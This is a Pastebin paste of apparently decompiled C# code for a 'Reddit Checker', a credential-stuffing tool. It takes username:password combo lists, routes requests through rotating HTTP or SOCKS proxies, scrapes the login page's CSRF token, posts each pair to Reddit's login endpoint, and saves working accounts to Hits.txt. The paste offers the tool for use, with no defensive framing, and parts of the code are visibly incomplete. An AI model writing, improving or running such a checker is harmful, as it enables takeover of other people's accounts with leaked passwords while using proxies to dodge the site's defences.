Guest User

Untitled

a guest
Nov 4th, 2018
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.71 KB | None | 0 0
  1. private static void initialGet(string USERNAME, string PASSWORD, string PROXY)
  2. {
  3. try
  4. {
  5. using (HttpRequest httpRequest = new HttpRequest())
  6. {
  7. switch (Program.PROXYTYPE)
  8. {
  9. case 1:
  10. httpRequest.Proxy = HttpProxyClient.Parse(PROXY);
  11. break;
  12. case 2:
  13. httpRequest.Proxy = Socks4ProxyClient.Parse(PROXY);
  14. break;
  15. case 3:
  16. httpRequest.Proxy = Socks5ProxyClient.Parse(PROXY);
  17. break;
  18. }
  19. httpRequest.Cookies = new CookieStorage(false, null);
  20. httpRequest.KeepAlive = true;
  21. httpRequest.UserAgent = Http.ChromeUserAgent();
  22. httpRequest.IgnoreProtocolErrors = true;
  23. string text = "https://www.reddit.com/login";
  24. HttpResponse httpResponse = httpRequest.Get(text, null);
  25. string input = httpResponse.ToString();
  26. string pattern = "csrf_token\" value=\"(.*?)\"";
  27. string value = Regex.Match(input, pattern).Groups[1].Value;
  28.  
  29. }
  30. Colorful.Console.Title = string.Concat(new object[]
  31. {
  32. "Reddit Checker | By Tis | Checked: ",
  33. Program.Checked,
  34. "/",
  35. Program.COMBOS.Count,
  36. " Hits: ",
  37. Program.HITS,
  38. " Invalid: ",
  39. Program.Invalid,
  40. " Proxy Errors: ",
  41. Program.PROXYERRORS
  42. });
  43. }
  44. catch (Exception)
  45. {
  46. Program.PROXYERRORS++;
  47. Program.init(USERNAME, PASSWORD);
  48. }
  49. }
  50.  
  51. // Token: 0x06000007 RID: 7 RVA: 0x0000279C File Offset: 0x0000099C
  52. private static void loginPost(string USERNAME, string PASSWORD, string PROXY, string value,string CSRF, CookieStorage httpRequestCookies)
  53. {
  54. try
  55. {
  56. using (HttpRequest httpRequest = new HttpRequest())
  57. {
  58. httpRequest.KeepAlive = true;
  59. httpRequest.UserAgent = Http.ChromeUserAgent();
  60. httpRequest.IgnoreProtocolErrors = true;
  61. switch (Program.PROXYTYPE)
  62. {
  63. case 1:
  64. httpRequest.Proxy = HttpProxyClient.Parse(PROXY);
  65. break;
  66. case 2:
  67. httpRequest.Proxy = Socks4ProxyClient.Parse(PROXY);
  68. break;
  69. case 3:
  70. httpRequest.Proxy = Socks5ProxyClient.Parse(PROXY);
  71. break;
  72. }
  73. httpRequest.ConnectTimeout = 5000;
  74. httpRequest.Cookies = new CookieStorage(false, null);
  75. string text = "https://www.reddit.com/login";
  76. httpRequest.AddHeader("Origin", "https://www.reddit.com");
  77. string text2 = "application/x-www-form-urlencoded";
  78. httpRequest.Referer = "https://www.reddit.com/login";
  79. string text3 = string.Format("csrf_token={0}&otp=&password={1}&dest=https%3A%2F%2Fwww.reddit.com&username={2}", CSRF, PASSWORD, USERNAME);
  80. HttpResponse httpResponse = httpRequest.Post(text, text3, text2);
  81. string text4 = httpResponse.ToString();
  82. bool flag = text4.Contains("{\"dest\": \"https://www.reddit.com\"}");
  83. if (flag)
  84. {
  85. Console.WriteLine(string.Format("{0}:{1}", PASSWORD, USERNAME));
  86. Program.HITS++;
  87. using (StreamWriter streamWriter = new StreamWriter("Hits.txt", true))
  88. {
  89. streamWriter.WriteLine(string.Format("{0}:{1}", USERNAME, PASSWORD),Color.LimeGreen);
  90. }
  91. }
  92. else
  93. {
  94. Console.WriteLine(string.Format("{0}:{1}", PASSWORD, USERNAME),Color.Red);
  95. }
  96. }
  97. }
  98. catch (Exception)
  99. {
  100. Program.PROXYERRORS++;
  101. Program.init(USERNAME, PASSWORD);
  102. }
  103. }
Add Comment
Please, Sign In to add comment